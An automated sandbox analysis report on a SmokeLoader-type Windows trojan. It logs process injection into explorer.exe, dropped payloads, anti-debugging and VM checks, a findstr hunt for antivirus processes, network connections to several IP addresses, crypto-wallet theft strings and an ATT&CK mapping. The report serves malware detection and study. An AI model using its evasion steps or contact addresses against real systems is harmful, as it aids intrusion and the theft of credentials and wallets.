Source: C:\Users\user\AppData\Roaming\Result.exe	Memory allocated: 2EC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Result.exe	Memory allocated: 1570000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 437	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1590	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 942	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 360	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3233	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 876	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 878	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 461	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Window / User API: threadDelayed 565	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Result.exe	Window / User API: threadDelayed 379

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\77D2.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Bookings			Jump to dropped file

Source: C:\Windows\explorer.exe TID: 7404	Thread sleep time: -159000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7400	Thread sleep time: -94200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7728	Thread sleep time: -33700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7724	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7404	Thread sleep time: -323300s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4364	Thread sleep count: 565 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99872s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99415s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99292s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99169s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -99039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -98920s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -98812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -98698s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -98451s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe TID: 4296	Thread sleep time: -98342s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2848	Thread sleep count: 379 > 30
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99857s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99746s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99637s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99528s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99401s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99265s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -99139s >= -30000s
Source: C:\Users\user\AppData\Roaming\Result.exe TID: 2520	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_00406301 FindFirstFileW,FindClose,	7_2_00406301
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_004062D5 FindFirstFileW,FindClose,	14_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_00402E18 FindFirstFileW,	14_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00406C9B

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99872	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99415	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99292	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99169	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 99039	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 98920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 98812	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 98698	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 98451	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Thread delayed: delay time: 98342	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99857
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99746
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99637
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99528
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99401
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99265
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 99139
Source: C:\Users\user\AppData\Roaming\Result.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\

Source: explorer.exe, 00000001.00000000.1715441485.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1714985098.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1714985098.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1715441485.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: 3E6C.exe, 0000000C.00000002.3944839716.0000000001001000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: explorer.exe, 00000001.00000000.1712334658.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1715441485.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1714985098.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714985098.000000000982D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000011.00000002.4051151756.0000024B321D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: explorer.exe, 00000001.00000000.1715441485.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000000.1713516731.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1712334658.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1714985098.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: RegAsm.exe, 0000000D.00000002.4129397616.00000000011BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000001.00000000.1712334658.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A723.exe

Code function: 7_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

7_2_00406328

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00880D90 mov eax, dword ptr fs:[00000030h]	0_2_00880D90
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0088092B mov eax, dword ptr fs:[00000030h]	0_2_0088092B
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_008AD361 push dword ptr fs:[00000030h]	0_2_008AD361
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00880D90 mov eax, dword ptr fs:[00000030h]	5_2_00880D90
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0088092B mov eax, dword ptr fs:[00000030h]	5_2_0088092B
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00A2AC01 push dword ptr fs:[00000030h]	5_2_00A2AC01

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 77D2.exe.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 58.151.148.90 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.118.248.184 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.185.146.136 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.79.230.147 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.181 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 101.99.94.162 80	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Thread created: C:\Windows\explorer.exe EIP: 31519D0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Thread created: unknown EIP: 87C19D0			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Focused Focused.cmd & Focused.cmd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Result.exe "C:\Users\user\AppData\Roaming\Result.exe"
Source: C:\Users\user\AppData\Roaming\Result.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: Bookings.7.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: explorer.exe, 00000001.00000000.1712534989.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1713361838.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714985098.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1712534989.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4128715660.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1712334658.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1712534989.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4128715660.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1712534989.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4128715660.0000000000FC0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3E6C.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Result.exe	Queries volume information: C:\Users\user\AppData\Roaming\Result.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Result.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Result.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\A723.exe

Code function: 7_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

7_2_00406831

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: RegAsm.exe, 0000000D.00000002.4131492576.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty@fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Exodus Web3@jiidiaalihmmhddjgbnbgdfflelocpak
Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: 3E6C.exe, 0000000C.00000002.4108127841.0000000006910000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Source: Yara match	File source: 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3284, type: MEMORYSTR

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	312 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	116 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Exploitation for Client Execution	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	511 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	4 Process Discovery	SSH	Keylogging	225 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
hoEtvOOrYH.exe	61%	ReversingLabs	Win32.Trojan.OutSteel
hoEtvOOrYH.exe	100%	Avira	HEUR/AGEN.1312567
hoEtvOOrYH.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\jagvise	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Roaming\Result.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3E6C.exe	100%	Joe Sandbox ML
